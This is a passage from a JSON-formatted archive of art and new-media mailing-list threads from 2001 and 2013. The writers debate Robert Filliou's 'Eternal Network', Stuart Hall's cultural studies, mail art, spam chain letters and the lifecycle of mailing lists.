'Digital Legacies of the Avant Garde' conference in Paris, April, 2012 (http://digitallegacies.org/parispapers.html) which I am kicking myself for not noticing earlier (i have to accept incomplete knowledge again). All good angles on the subject from a slightly different perspective but maybe Stephen Voyce's \"The Eternal Network: Avant-Garde Activism and the Cultural Commons\" is particular useful!\n\nHave a look, perhaps it helps us expand our discussion. Anyone know of this conference?\n\nBest wishes\n\nRoddy",
                        "id": 0,
                        "date": "Wed, 20 Feb 2013 21:13:51 +0000",
                        "url": "https://www.jiscmail.ac.uk/cgi-bin/webadmin?A2=ind1302&L=new-media-curating&F=&S=&P=28796",
                        "content-type": "text/plain",
                        "author_name": "Roddy Hunter",
                        "subject": "Re: Does it matter if the network had / has a \u201ccommon direction\u201d that in any way, shape or form might be called \u2018political\u2019 ?"
                    },
                    {
                        "from": "Gary Hall",
                        "content": "\nMaybe I can contribute by looping back to Clive Roberston's comments \nabout Stuart Hall in relation to what the network is or was.\n\n'So while Hall acknowledges that cultural studies as a project is open-ended, \u201calways open to that which it does not know yet, to that which it can\u2019t yet name,\u201d he also argues against pluralism and for the stakes (something at stake) of cultural studies.'\n\nAs someone who still thinks of what they do in relation to various \nnetworks and curatorial activities as coming out of the history of \ncultural studies, at least in part (although my work these days has \nmoved away from that, and I suspect is probably now unrecognisable to \nmost in the field as cultural studies, and more or less deliberately so, \nfor reasons I'm about to hint at), there are a couple of things that \ninterest me about Hall's 'Cultural Studies and its Theoretical Legacies' \nessay.\n\n1) First, there's Hall\u2019s acknowledgment in the same essay that the \nboundary line he is attempting to mark out around cultural studies by \nmeans of its politics is an 'arbitrary' one. 'I don't believe knowledge \nis closed', he writes, 'but I do believe politics is impossible without \nwhat I have called the \"arbitrary closure\".'\n\n2) And second, the way there's a risk in Hall\u2019s use of the word \n\u2018tension\u2019 when describing these two aspects of cultural studies (what \nhe's thinking here in terms of it's theoretical and political projects) \nof implying that each side in this relationship retains a more or less \nunified and stable identity which is equally valid; or that \n'intellectual theoretical work' and politics exist in some kind of \ndialectic. Whereas I wonder if a more interesting way of seeing this \nrelation is not as one of mutual transformation, where notions of \n\u2018theory\u2019 and \u2018politics\u2019 (and indeed \u2018cultural studies\u2019) are pushed \nbeyond their traditional delimitations and forced to rework their \nrelationship with one another.\n\nIf so, then it seems to me that we can\u2019t say, as Hall did at the 2007 \n\u2018Cultural Studies Now\u2019 conference at the University of East London, that \ncultural studies is capable of questioning everything\u2026 except the \nrelation to the social formation; that what cultural studies does is \nanalyse culture in relation to its connection to the wider social \nformation and that this connection is therefore sacrosanct. For Hall, \ntheory is a detour from a larger question in this respect, which \nconcerns rethinking the role of culture and its articulation with other \nstructures and processes in each time and place, each conjuncture. This, \nfor him, is cultural studies\u2019 real connection with politics, its \npolitical mission or 'common disposition of energy and direction' \n(Williams).\n\n(Can we see a similar 'arbitrary closure' at work in the way that the \nintellectual theoretical work that is most acceptable and feted today  \nis often quite materialist in tenor?)\n\nMoreover, if, to quote Clive quoting Filliou, '\u201cResearch is not the \ndomain of those who know; on the contrary it is the domain of those who \ndo not know, \u201d' I wonder if we can't also say the same of politics. In \nwhich case the trick, perhaps, would be to find ways of actually \nassuming what this means when it comes to politics and being 'political'.\n\nHope this helps.\n\nGary\n\n\n\nOn 11/02/2013 13:13, Clive Robertson wrote:\n> In considering what the network is or was \u2013 even before calling its project organizing an \u201cartwork\u201d (and what is the hoped for gain of this description \u2013 for whom is it being described as such: for artists, critics, research funders, taxpayers, etc.?) it might be good to admit that Filliou\u2019s concept of a an artists network as it gained popularity always looked different from the time and place of observation. Its signification was predictably altered by cultural change and by institutionalization. That is only to suggest that it meant something different for Brecht and Filliou, a lot of different things when employed by Filliou-inspired artist collectives and spaces of the 1970s, and so on along its paths to \u201cre-discovery\u201d and/or recapturing in the 21st century.\n> For me it matters that Filliou\u2019s statements came prefaced with what amounts to a social critique. So when Roddy quotes Filliou saying, \u201cEverytime we turn our attention to what we don\u2019t know, we are doing research\u201d the statement is missing its preface which is, \u201cResearch is not the domain of those who know; on the contrary it is the domain of those who do not know.\u201d Was Filliou poking at scholarly specialists (that now includes many of us as respondents) ? Probably. The set-up for announcing the Eternal Network/La Fete est Permanent is similar. \u201cThere is always someone making a fortune, someone going bankrupt \u2013 we in particular.\u201d  Does this suggest that artist poverty or precarity is a pre-condition for being a network member? Of course not.  Filliou wrote, \u201cAs you can see, we included the fact of our being bankrupt as part of La Fete Permanente. To us, this an important element of the Eternal Network: including in it the harmful, painful or disagreeable things in life, as well as the pleasant, profitable ones.\u201d (Teaching and Learning as Performing Arts, Verlag Gebr,Konig, Koln, 1970)  It was (he writes) supposed to help wean artists off of their allotted competitiveness. But was it what we would now call a \u201csafe space?\u201d Was the network brought into being with any socially operational effects in mind? Think of Facebook, not as a corporate string pulling, but how we try to use it with our \u201cfriends.\u201d What works and doesn\u2019t work when we try to interact? We have some general sense of what gets approval in our specific node but not much else. Do we describe our earliest use of FB an \u201cartwork?\u201d\n> Speaking of and to the history of the network, I now want to detour via what Stuart Hall (co-founder of British Cultural Studies) wrote about that project\u2019s history and the \u201cwill to connect\u201d (\u201cCultural Studies and its theoretical legacies,\u201d 1992 ). (This was v. useful for me when I was seeking a way to trouble my view of the history of artist spaces as a doctoral project.)\n> So while Hall acknowledges that cultural studies as a project is open-ended, \u201calways open to that which it does not know yet, to that which it can\u2019t yet name,\u201d he also argues against pluralism and for the stakes (something at stake) of cultural studies. It will probably take a second post to get to the core of what I think the stakes of an collective artist practice could / might be in relation to a network and that has something to do with a present that appears to accept that the merging of functions of artist, curator, critic, and patron works out for the best of all involved. That collegial management is perhaps the only way forward for a brighter future?\n> Like our view of art (on good days) Hall reviews c.s. as \u201ca serious project, that is inscribed in what is sometimes called the \u201cpolitical\u201d aspect of cultural studies,\u201d not he adds, \u201c that there\u2019s one politics inscribed within it.\u201d  The tension, Hall says, is \u201cbetween a refusal to close the field, to police it, and fluency.\u201d\n> So what if any is the significance of artists formulating and maintaining a network? Hall cites Raymond Williams who wrote that \u201cthe relation between a project and a (discursive) formation is always decisive because they are different ways of materializing\u2026and then describing a common disposition of energy and direction.\u201d (Raymond Williams, \u201cThe Future of Cultural Studies, 1989).\n> So I guess from this follows a question of whether or not (or at least in what sense) in this discussion are we bothered whether the \u201cdiscursive formation\u201d we are hailing is about \u201cart\u201d or \u201cartists?\u201d  And in its vagueness, does it matter if the network had / has a \u201ccommon direction\u201d that in any way, shape or form might be called \u2018political\u2019 ?\n>\n\n\n**\n\n\n\n\n-- \nGary Hall\nResearch Professor of Media and Performing Arts\nDirector of the Centre for Disruptive Media\nSchool of Art and Design, Coventry University\nCo-editor of Culture Machine\nhttp://www.culturemachine.net\nCo-founder of the Open Humanities Press\nhttp://www.openhumanitiespress.org\nWebsite http://www.garyhall.info",
                        "id": 0,
                        "date": "Sat, 23 Feb 2013 13:56:24 +0000",
                        "url": "https://www.jiscmail.ac.uk/cgi-bin/webadmin?A2=ind1302&L=new-media-curating&F=&S=&P=32519",
                        "content-type": "text/plain",
                        "author_name": "Gary Hall",
                        "subject": "Re: Does it matter if the network had / has a \u201ccommon direction\u201d that in any way, shape or form might be called \u2018political\u2019 ?"
                    }
                ],
                "date": "Mon, 11 Feb 2013 13:13:28 +0000",
                "list": "crumb",
                "author_name": "Clive Robertson",
                "subject": "Does it matter if the network had / has a \u201ccommon direction\u201d that in any way, shape or form might be called \u2018political\u2019 ?"
            },
            {
                "content-type": "text/plai",
                "from": "\"ana peraica\" <ana.peraica@st.tel.hr>",
                "id": "00313",
                "content": "*UNSUBSCRIBE! [On Net citizens and the new geography, a sanitation view]\ndedicated to Brian, Dalai Lama and Nokia telephones... and my Delete folder\n\ntxt from C-front 2001 (Plovdiv, Bulgaria)\n\nAna Peraica\n\nA friend's three-year-old child was screaming into the toilet bowl,\n'graaaandmother, graandmother', while the parents sitting with guests in the\nliving room were quite shocked, and slightly embarassed. It took them time\nto understand that, if a child still in nappies saw that every apartment has\nalmost the same toilet, and they all have holes, it logically concluded -\nthey are all connected. And what is connected are not only toilet bowls\n[but, sorry for vocabulary but asses, shits, and sewers...].\n\nA year ago, during the informal lecture of Andreas Broeckman on Oreste and\nSyndicate, a visitor, artist Rod Summers handed me an unpublished\ntranscribed Robert Fillou speech, 'Eternal Network', dated precisely thirty\nyears before, and speaking on the same topic. The text [1] spoke\nromantically about pre-existing networks, such as solar, biological, and\nothers in pan-psychic terms of Nature as the One; divine, sublime,\nglorious... Then it shifted to the even more primitive religion related\nterms, of 'meditation', 'feeling'... a kind of a hippy 'being well with it',\nat the same time covering the other part of the phenomenon: its horror\nelement 'of being included unwillingly', 'being absorbed', 'being small',\n'being only a particle imprisoned'. It was not precisely, but nearly a\nversion of the Shreber's anus-centric version of the solar network [2].\nThe speech was actually about the art of mailing, finding reasons for it not\nin art history, but within the theory of the Sublime. Established as a\nchain, after the death of the author, the network itself unfortunately ended\nup in the closed and therefore anti-networked circle of inner mailings,\nstill active among forty-year-old artists, who were raised on marijuana on\nthe shores of Maastrircht, or around.\nHumans can only be consumed in networks, as flies can in those of spiders'\nwebs. And usually they are absorbed without knowing, without giving their\nreal\nname. As, for the network the name is less important than the name of the\nnetwork itself. The name simply is only a dot that holds the tension of the\nlink, rope, of the road.\nBut after the time of fascination with the Network, with the own program\nnetwork, a period of disappointment arrives... As in the net held by many of\nthem after some time nothing is caught, only the garbage left behind by the\nactivity of the network itself, its own digestion. Fragile due to holes,\nthey all intersect, intervene each other, still holding own names. Good and\nbad networks; networks in the sky, sewer networks, street networks, spider\nnetworks, networks of the spreading of the pediculum pubis and other veneral\ndiseases, spamming networks... They morph and become one another. If you are\nin the communal network of the city, necessarily you are also in the state\nsystem of communal activities, but also of all countries that direct the\nsewers to the sea.\nBut, the myth of the Network suddenly ended up in a variety of networks,\nrising and falling down. But then, as information flows, each of them at\nsome period turns into an appendix, a footnote, a chapter of the other, in a\ndifferent constellation.\nWhy don't you post it on the Syndicate? Did you read that on Nettime?\nMeeting with Faces? Well, wasn't it on the Rhizome Raw? X-change, 7-11...\nReport! Report! as in the army, the network asks for constant attention,\nconstant care... It seems that the relation is inevitable. All networks sort\npeople; into heroes, receptors and locally politically-correct subscribers.\nEmancipated e-mail heroes [as a parallel to the toilet network ones Zizek\nwas writing on] form their own territories, their own enclaves, and then\nsend their own programs, party posters all around... Other kind of existing\npeople are passive, not posting, only reading and trying to catch up, use,\nfind some sense... That is why networks die becoming parties, as\nInternacionala did, becoming a sort of 'being politically-correct', being\npre-programmed, and establishing routes that one not only cannot escape, but\nmust not. Party marriages, party suicides...\nIs there a place for Icarus in Shreber's case? It is obvious on mailing -\nevent lists: Oreste, Balkania... Once an interesting project, the Balkania\nlist became one of those devastated territories of paradoxical actions of\ncommercial advertisement, spamming, petitions etc... Brian, Nokia\ntelephones,the Dalai Lama on life [2] visit it regularly. The\nonce-interesting curatorial project Oreste became a closed daily report of\nindividuals still having time for such a narrative, and posting html\ne-mails, and attachments. Digestion...\nThe scenario is the same - after exchanging some decent e-mails a list\nstarts to slowly die and serves as a sub-list of the personal announcement\nlist, there is no communication, no addressing. Everyone escapes, and\nfinally - an abandoned list, a heaven from spamming. Collapsed networks,\nabandoned mailing lists, territories of the vampire spam artists as Integer,\nenjoying the political incorrectness, et.al. But even without being\nabandoned... mailing lists are open. Just subscribe and send a 'who' command\nto Majordomo that lacks protection, as happened to the McLuhan-list in 1997.\nEvacuation from the mailing list seems to be a general move of the networked\nsociety. Who gave you my e-mail address? [Unsubscribe... Please, please\nremove me from this list. Stop spamming!!!]\nBut a spammed individual net citizen should not be shocked. Wasted contacts,\nredundant greetings, are normal in any kind of network, although the\nfrequency and dimensional problems of the electronic ones only underline the\nprinciple already existing: Networks raise and collapse. They are only\nevents. Cohesion and dispersion are its phenomena. The absence of the\nnetworked individual from their own 'forced working place' is similar to\nKafka's stories. After only seven days of absence either a computer crashes\nor the server... 'Receiving 25 out of 765 e-mail messages'. Subscribe before\nthe summer holidays, that is the rule, - the server will not survive. In\nother days, fortunately Inbox assistants encountered this impossibility:\njust adding an e-mail address or the heading of the e-mail if it is a\nmailing list can release us from pressing Delete. And those individuals,\nalways deleted are not noticed ... [or someone says 'You are on my Inbox\nassistant Delete from the server list, you are in my address book under the\nletter S, I reserved only for the 'Shit people'? 'She told me that if you\ncall she is not at home.'].\nHow to organize the universe of information and not to be killed by it. Some\nof the communication and total control freaks fear that something will\nhappen when they are away and subscribe to the free SMS message solution,\nnoting the arrival of e-mail. With every e-mail a mobile shakes, beeps,\nscreams... Nettime, Nettime... Syndicate... Syndicate...\nOnce, a long, long time ago, people were still saving newspapers even those\nbad ones, to wrap the fish, to use when cleaning potatoes, to put in the\nsummer shoes cleaned up for winter storage. Still then, back on the streets\nof peaceful towns where colporters are selling the daily city newspaper...\nshouting. [BRIAN. BRIAN. SOLIDARIDAE COOOON BRIAAAAAAAAN! Stop SHOUTING AT\nME. Stop SCREAMING!]. With junk e-mail one can do nothing. But finally, they\ndo not make such a waste as the plastic bags one gets in every shop as\nshopping is about getting rid of the plastic.\nFlash, Delete... Use the Big Network, Nature, a Big toilet. Unsubscribe...\n\nFOOTNOTES:\n[1] latter published in the publication Hype_text ed. by Jean Paul Jacquet\n(Academy Jan Van Eyck, Maastricht, 2000)\n[2] Freud's Schreber case symptomising, among others, in his attitude that\nhis ass is inhabited by the sun ['solar anus'] is a classical example of\nschizophrenic dellusion.\n[3] Brian [Solidaridae con Brian] is a net spam classic, along with: Nokia\ntelephones, Dalai Lama on life\n\nLINKS:\nBig spam http://www.irational.org/cern\nArchives of spams\nhttp://www.eff.org/pub/Net_culture/Folklore/Spam/\nhttp://pemtropics.mit.edu/~jcho/spam/archive.html\nhttp://www.annexia.org/spam/\nAnti-spam and net.cop tools http://kryten.eng.monash.edu.au/gspam.html\n\n\n\n_______________________________________________\nNettime-bold mailing list\nNettime-bold@nettime.org\nhttp://www.nettime.org/cgi-bin/mailman/listinfo/nettime-bold\n\n\n\n",
                "date": "Tue, 19 Jun 2001 18:44:18 +0200",
                "to": "\"rhizome digest\" <digest@rhizome.org>, <syndicate@aec.at>,\"Nettime\" <nettime-l@bbs.thing.net>",
                "message-id": "018301c0f8df$16a9dc00$d8621dc3@st001",
                "url": "https://nettime.org/Lists-Archives/nettime-bold-0106/msg00313.html",
                "list": "nettime_bold",
                "author_name": "ana peraica",
                "subject": "[Nettime-bold] txt from C-front: Unsubscri"
            },
            {
                "content-type": "text/plai",
                "from": "\"anna balint\" <epistolaris@freemail.hu>",
                "id": "00321",
                "content": "Robert Filliou published together with George Brecht the Eternal Network\ntext in 1968 as a project of the La C\u00e9dille qui sourit.\nSince than it was many times published, and circulated as manuscript as\nwell. He coined many other largely known terms such as Poetical Economy,\nFete Permanente, Cr\u00e9ation Permanente, still largely circulating. 'Snail mail\ngoes on the web' - that was the slogan of mail artists already in the early\nnineties, and accordingly most of them migrated on the net. Maybe some\nmailing lists hold discussions about irrelevant questions, but Filliou's\nnetwork seems to be eternal.\nAnna Balint\n\n\n_______________________________________________\nNettime-bold mailing list\nNettime-bold@nettime.org\nhttp://www.nettime.org/cgi-bin/mailman/listinfo/nettime-bold\n\n\n\n",
                "date": "Tue, 19 Jun 2001 23:45:58 +0200",
                "to": "\"Nettime\" <nettime-l@bbs.thing.net>",
                "message-id": "MABBIKGKLODEKGPMBDPEIEGNCBAA.epistolaris@freemail.hu",
                "url": "https://nettime.org/Lists-Archives/nettime-bold-0106/msg00321.html",
                "list": "nettime_bold",
                "author_name": "anna balint",
                "subject": "[Nettime-bold] commentary on Unsubscribe tex"
            },
            {
                "content-type": "text/plai",
                "from": "\"anna balint\" <epistolaris@freemail.hu>",
                "id": "00357",
                "content": "'Il n'ya plus de centre de l'art.Chaque artiste doit se consid\u00e9rer comme\nfaisant\npartie d'un r\u00e9seau'  Robert Filliou - Eternal Network\n\nDear Ana, folks, auto replyer,\n\nOne of the fantastic aspects of the net is the immediate accesibility to the\ntexts,\nsources, works, people. One minute search on the web is enough to\nacknowledge\nthe context of a text, and  find out that the Eternal Network text was\npublished. One more minute is enough to overcome the impression that mail\nart circles were ever closed. For people with theoretical interest in\nmailing lists, networks, netart  - the net will probably be a minimum\nreference.\nUnfortunately I did not find your text in the nettime archives, as it is\nvery raw and inefficiently organised. Contrary to such net archives, mail\nart archives already developed archiving, filtering strategies, and methods\nfor organise information.\nArt and media concerned BBSs, mailing lists owe a lot to the correspondence\nnetworks and movements, even the mailing list technique was developed in\nmail art circles, it goes back to the newsletter of Dick Higgins and   the\nNew York Correspondence School of Ray Johnson. Besides technical aspects, on\nthe content level even nettime reproduced and interfered with many of the\nmail art and fluxus phenomena  - intermedia, collaborative work, the\nmultiples, the anticopyright movement, much of the netart, media art, visual\npoetry, copy art, censorship questions, radio art, sound poetry, fanzines,\nvideo art, computer art, alternative music, alternative galleries, museums,\ncomes from the correspondence art and fluxus.\nWhen about bulky correspondence art materials, many theories and concepts\ncover them very well, mail art theories in the first place, but the library\nof Borges as well, some notions of  Flusser, the palimpsest (of Hakim Bay as\nwell), heteroglossic forms of Michael Bakhtin  - his theory of reverse\nculture covers your original text as well - hypertext, and so on.\nWhen about legacy of ideas, would it be a coincidence that one of the\nmoderators of this list comes form the American Fluxus circles, the other\nfrom the Advancement for the Illegal Knowledge group, the third close to the\nMarshall MacLuhan heritage - connected with Fluxus, as Marshall MacLuhan was\nfirst published by Something Else Press?\nThe concepts, theories, practices and attitudes of the correspondence art\ninfiltrated not only mailing lists, but contemporary art practices - the\ncall for artworks and papers for instance, its morality, its rules. The\nidea, the illegal knowledge which circulated through postal network on a\nglobal level became much more known and legitimate on a larger scale due to\nthe net.  Though many things originating in the correspondence art became\nmore visible, some still wait to be discovered. Topics, methods as well. For\ninstance correspondence artists adored trash, crab and junk, they very much\nexplored and recycled it.\nWhen about empty places in mailing lists, the squatters logic works, what's\nwrong in that? That logic brought up alternative spaces, alternative radios,\nalternative tv's, alternative art, alternative idea.  Nokia is  a spammer?\nGreat!  We found out! The Dalai Lama is spamming? Good that somebody reminds\nme the question of who the Dalai Lama is! Integer was banned from the\nsyndicate, nettime, rhizome and infowar list at the same time? First of all\nwe all learn that these lists were connected, their moderators control (too\nmuch) and they lack humour. Her messages are overwhelming? Did we know\nbefore  that messages can mix private and public, did we know so much about\nprivate and public feed-back, did we question content, language, filtering\nbefore? Didn't we learn something about hidden and visible aspects of the\nemail? Did some mailing lists die out? Great! New ones come, and we will\nfind out what is eternal.\nThere is already much said about spatiality of the net, many people explore\nutopia and atopia, virtual space, spatiality in general. Much less is\ndiscussed the notion of temporality, though some artists, theoreticians\nalready struggle with this concept. At this moment my personal time\nperceiving is very much determined by the commercial s/censors of\nnet-works, as the Hungarian Telecomunication Company lets me to work in the\nnight with less costs.  Robert Filliou did not wait the raise of the\ninternet to formulate his theories, maybe we still need time, to properly\nunderstand his notion of time with the help of the new medium. Eternity is a\nreligious notion? Which concept is not?\nbests regards,\nAnna Balint\n\n\n\n_______________________________________________\nNettime-bold mailing list\nNettime-bold@nettime.org\nhttp://www.nettime.org/cgi-bin/mailman/listinfo/nettime-bold\n\n\n\n",
                "date": "Thu, 21 Jun 2001 17:35:24 +0200",
                "to": "<nettime-l@bbs.thing.net>",
                "message-id": "MABBIKGKLODEKGPMBDPEGEHJCBAA.epistolaris@freemail.hu",
                "url": "https://nettime.org/Lists-Archives/nettime-bold-0106/msg00357.html",
                "list": "nettime_bold",
                "author_name": "anna balint",
                "subject": "[Nettime-bold] RE:  commentary on Unsubscribe tex"
            },
            {
                "id": "00366",
                "content": "Dear Ana Peraica,\nI hesitate to write this in a way, but on the other hand, maybe it helps\nyou.\nIf one pans through your Unsubscribe-text, one can not avoid to notice a\ncertain number of words of hate and anger and so forth. Please do not light\nheartedly enclose people, who spent their life with ideas and beliefs, and\nover all materialised works, you might not agree to.I mean leave the Dalai\nLama and Robert Filliou out of this first of all. It is so easy to play with\nwords and so hard to live them. They both did or do. Robert, a friend of\nmine for 25 years (he exhibited his last work before his death in 1988 in\nour place http://home.snafu.de/ruine-kuenste.berlin), and the Tibetans, for\nwhich I am working since 1980\nhttp://home.snafu.de/ruine-kuenste.berlin/members.htm , they have a complete\ndifferent idea of networks on this planet, which cannot be mixed up with\n'your' materialistic one. And it is no argument to disqualify theirs with a\ndisbelief in the eternal in general, as you propose. Roberts idea of the\nEternal Network is so much wider and philosophical than any other existing\nor disappearing network in the net (and other media!) and so full of humour,\nthat your feelings of a frightening undeliberately beeing connected\nsituation are just a surfacial misunderstanding. Read again and not only\nthis text. I invited Robert for example to exhibit his Research of the\nOrigine here in Berlin in 1974, there is a very good \u00b4catalogue on it\npublished in D\u00fcsseldorf and Berlin (Aktionen der Avanatgarde, ADA, Akademie\nder K\u00fcnste Berlin) that year. Read, if you are interested my text on Roberts\n(Tibetan buddhist) philosophy, which can be clearly seen and proven in his\nworks by the one, who know buddhism. (Wolf Kahlen: Une chose en t\u00b4e`te ou\npiece qui s'effilochent. A propos de EIND.UN.ONE.... du point de vue\nbouddhiste de Robert Filliou, in: Robert Filliou, poet, Galerie der Stadt\nRemscheid 1997).\n It is the same background as Brancusis, who believed all his life, he was a\nreincarnation of Milarepa. Anyway, to make it short. Your connotations and\nassociations regarding Filliou's network-idea have absolutely nothing in\ncommon with your main issue, the other kind of networking.\nAnd by the way: I had a strange feeling, as if your sewer story was\n(perfectly fitting but) invented, it fits more to the mood of the rest of\nyour words...or am I mistaken?\nWith good wishes\nWolf Kahlen\n\nwww.wolf-kahlen.de\nwww.tu-berlin.de/~arch_net_art\n\n\n\n_______________________________________________\nNettime-bold mailing list\nNettime-bold@nettime.org\nhttp://www.nettime.org/cgi-bin/mailman/listinfo/nettime-bold\n\n\n\n",
                "to": "\"ana peraica\" <ana.peraica@st.tel.hr>",
                "url": "https://nettime.org/Lists-Archives/nettime-bold-0106/msg00366.html",
                "list": "nettime_bold",
                "author_name": "Ruine der Kuenste Berlin",
                "subject": "[Nettime-bold] Re: <nettime> txt from C-front: Unsubscri",
                "from": "\"Ruine der Kuenste Berlin\" <ruine-kuenste.berlin@snafu.de>",
                "follow-up": [
                    {
                        "follow-up": [
                            {
                                "follow-up": [
                                    {
                                        "from": "\"ana peraica\" <ana.peraica@st.tel.hr>",
                                        "content": "Hi Wolf,\n\nI don't know the source of the chain letter, but it really striked me that\nin the same context (as my friend who is analysing and collecting spams,\nDarko Fritz, noted) that so nice sentences are mixed with coursing. I\nreceived it a long time ago, of course deleted it, and it took me time to\nfind it again (I found it published on the commercial page\nhttp://www.thefunside.com/lama/ not in the spams archive (usually there are\nonly those market ones).\n\nI don't think anyone can trace who wrote it (and I would recommend you not\nto border with that), as with each re-sending not only the e-mail address,\nbut also the server name of the sender changes). But surely I don't think\nDalai Lama wrote it himself, but it is a kind of a bad new age phenomenon,\nthat combined with the childish form of a luck chain letter. I saw many of\nthem in my childhood in a paper format.\n\nI just send it to show I was not writing on Dalai Lama  (as I already wrote\nit in reply to Anna Balint) but on this spam in particular, whose title is\nDalai Lama on Life. As you might follow in the text, it is appearing only in\ncontext with Solidaridae con Brian (which is one of the most cruel spams I\never saw), and Nokia telephones (the one spread recently around). I didn't\nfeel like writing again the defence - I did not wrote Dalai Lama, but Dalai\nLama on Life (that most of people on the net know what it is).\n\nYes, it was my message, the last one (if you think with this spam copied), I\nwas joking... Don't take it seriously... I just felt incomfortable sending\nit in real on the Nettime that has thousands of subscribed people, and the\nmessage itself writes;\n\nof 15 people and above: Your life will improve drastically and everything\n      you ever dreamed of will begin to take shape.\n\nso I wanted them to know how happy I might be, that I might become a witch\nthat if dreams a nightmare can produce a harm around.\n\nThe same refers to your defence of Fillou (I was not writing on him also...\nbut on the materialisation of a model of all - including networks, that\nmight have problems with all-inclusion, that is highly theoretical and known\nin theory of metaphysics; if God is all-including, he is also including Evil\nand so on... ).\n\nbest\nAna\n\n\n_______________________________________________\nNettime-bold mailing list\nNettime-bold@nettime.org\nhttp://www.nettime.org/cgi-bin/mailman/listinfo/nettime-bold\n\n\n\n",
                                        "id": "00406",
                                        "date": "Sat, 23 Jun 2001 20:40:25 +0200",
                                        "to": "\"syndicate\" <syndicate@eg-r.isp-eg.de>,\"Nettime\" <nettime-l@bbs.thing.net>,\"Ruine der Kuenste Berlin\" <ruine-kuenste.berlin@snafu.de>",
                                        "message-id": "004901c0fc14$185a7220$3c621dc3@st001",
                                        "url": "https://nettime.org/Lists-Archives/nettime-bold-0106/msg00406.html",
                                        "content-type": "text/plai",
                                        "author_name": "ana peraica",
                                        "subject": "[Nettime-bold] Re: <nettime> txt from C-front: Unsubscribe (bibliographical note)"
                                    }
                                ],
                                "from": "\"Ruine der Kuenste Berlin\" <ruine-kuenste.berlin@snafu.de>",
                                "content": "Dear Ana,\n\nplease make the source of the mentioned Dalai Lama 'chain letter' public, of\ncourse I received such a letter by several people, I just smiled about the\nchain method, text itself is good, but to me it does not fit into His\nHoliness' way of teaching to give promises like the Popes of Rome at Luther\ntimes, so please open your archive and I am the first to start tracing the\nspource and finding out myself and if necessary to apologize.I must not tell\nyou how easy it is to forge messages in the net, right? By the way, was it\nreally you writing the last response?\nGood wishes Wolf\n\n-----Urspr\u00fcngliche Nachricht-----\nVon: \"ana peraica\" <ana.peraica@st.tel.hr>\nAn: \"Ruine der Kuenste Berlin\" <ruine-kuenste.berlin@snafu.de>\nCc: \"Nettime\" <nettime-l@bbs.thing.net>\nGesendet: Samstag, 23. Juni 2001 17:31\nBetreff: Re: <nettime> txt from C-front: Unsubscribe (bibliographical note)\n\n\n> Dear Wolf and others,\n>\n> | I mean leave the Dalai  Lama\n>\n> so, I am sending spam bibliography, I thought 'Dalai Lama on life' was\nknown\n> in net circles\n\n\n_______________________________________________\nNettime-bold mailing list\nNettime-bold@nettime.org\nhttp://www.nettime.org/cgi-bin/mailman/listinfo/nettime-bold\n\n\n\n",
                                "id": "00404",
                                "date": "Sat, 23 Jun 2001 18:15:39 +0200",
                                "to": "\"ana peraica\" <ana.peraica@st.tel.hr>",
                                "message-id": "000e01c0fbff$c536a960$4b4149d5@taivun",
                                "url": "https://nettime.org/Lists-Archives/nettime-bold-0106/msg00404.html",
                                "content-type": "text/plai",
                                "author_name": "Ruine der Kuenste Berlin",
                                "subject": "[Nettime-bold] Re: <nettime> txt from C-front: Unsubscribe (bibliographical note)"
                            },
                            {
                                "from": "\"ana peraica\" <ana.peraica@st.tel.hr>",
                                "content": "Hi Wolf,\n\nI don't know the source of the chain letter, but it really striked me that\nin the same context (as my friend who is analysing and collecting spams,\nDarko Fritz, noted) that so nice sentences are mixed with coursing. I\nreceived it a long time ago, of course deleted it, and it took me time to\nfind it again (I found it published on the commercial page\nhttp://www.thefunside.com/lama/ not in the spams archive (usually there are\nonly those market ones).\n\nI don't think anyone can trace who wrote it (and I would recommend you not\nto border with that), as with each re-sending not only the e-mail address,\nbut also the server name of the sender changes). But surely I don't think\nDalai Lama wrote it himself, but it is a kind of a bad new age phenomenon,\nthat combined with the childish form of a luck chain letter. I saw many of\nthem in my childhood in a paper format.\n\nI just send it to show I was not writing on Dalai Lama  (as I already wrote\nit in reply to Anna Balint) but on this spam in particular, whose title is\nDalai Lama on Life. As you might follow in the text, it is appearing only in\ncontext with Solidaridae con Brian (which is one of the most cruel spams I\never saw), and Nokia telephones (the one spread recently around). I didn't\nfeel like writing again the defence - I did not wrote Dalai Lama, but Dalai\nLama on Life (that most of people on the net know what it is).\n\nYes, it was my message, the last one (if you think with this spam copied), I\nwas joking... Don't take it seriously... I just felt incomfortable sending\nit in real on the Nettime that has thousands of subscribed people, and the\nmessage itself writes;\n\nof 15 people and above: Your life will improve drastically and everything\n      you ever dreamed of will begin to take shape.\n\nso I wanted them to know how happy I might be, that I might become a witch\nthat if dreams a nightmare can produce a harm around.\n\nThe same refers to your defence of Fillou (I was not writing on him also...\nbut on the materialisation of a model of all - including networks, that\nmight have problems with all-inclusion, that is highly theoretical and known\nin theory of metaphysics; if God is all-including, he is also including Evil\nand so on... ).\n\nbest\nAna\n\n\n_______________________________________________\nNettime-bold mailing list\nNettime-bold@nettime.org\nhttp://www.nettime.org/cgi-bin/mailman/listinfo/nettime-bold\n\n\n\n",
                                "id": "00406",
                                "date": "Sat, 23 Jun 2001 20:40:25 +0200",
                                "to": "\"syndicate\" <syndicate@eg-r.isp-eg.de>,\"Nettime\" <nettime-l@bbs.thing.net>,\"Ruine der Kuenste Berlin\" <ruine-kuenste.berlin@snafu.de>",
                                "message-id": "004901c0fc14$185a7220$3c621dc3@st001",
                                "url": "https://nettime.org/Lists-Archives/nettime-bold-0106/msg00406.html",
                                "content-type": "text/plai",
                                "author_name": "ana peraica",
                                "subject": "[Nettime-bold] Re: <nettime> txt from C-front: Unsubscribe (bibliographical note)"
                            }
                        ],
                        "from": "\"ana peraica\" <ana.peraica@st.tel.hr>",
